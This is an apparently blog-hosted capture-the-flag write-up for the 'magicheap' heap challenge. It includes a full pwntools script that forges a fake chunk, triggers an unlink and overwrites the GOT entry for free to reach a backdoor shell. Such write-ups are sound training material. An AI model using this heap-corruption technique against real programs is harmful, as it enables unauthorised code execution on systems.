hitcontraining_magicheap-unlink

1,

在这里插入图片描述标准heap题目

查看下ld和libc版本:在这里插入图片描述

2,

  • edit功能:实现chunk溢出,伪造fake chunk
    在这里插入图片描述
  • 后门函数,覆盖got
    在这里插入图片描述- 安全的free:释放了heap上内存空间和指针置零
    在这里插入图片描述

3,
条件:
edit可控溢出;
heaparray全局指针=0x6020C0;

思路:
unlink利用

poc

from pwn import *
context.log_level="debug"

r = remote("node4.buuoj.cn",26690)
elf = ELF("./magicheap")

def create(sz,content):
    r.sendlineafter("choice :","1")
    r.sendlineafter("Heap : ",str(sz))
    r.sendlineafter("heap:",content)

def edit(idx,sz,content):
    r.sendlineafter("choice :","2")
    r.sendlineafter("Index :",str(idx))
    r.sendlineafter("Heap : ",str(sz))
    r.sendlineafter("heap : ",content)

def delete(idx):
    r.sendlineafter("choice :","3")
    r.sendlineafter("Index :",str(idx))


heaparray_addr = 0x6020C0
getshell_addr = elf.symbols['l33t']
free_got = elf.got['free']

create(0x90,b"aaaa")#0
create(0x90,b"bbbb")#1
create(0x20,b"cccc")#2


fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'a')
fake_chunk += p64(0x90) + p64(0xa0)

edit(0,0x100,fake_chunk)
delete(1)	#unlink

payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(getshell_addr))
delete(0)	#getshell

r.interactive()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值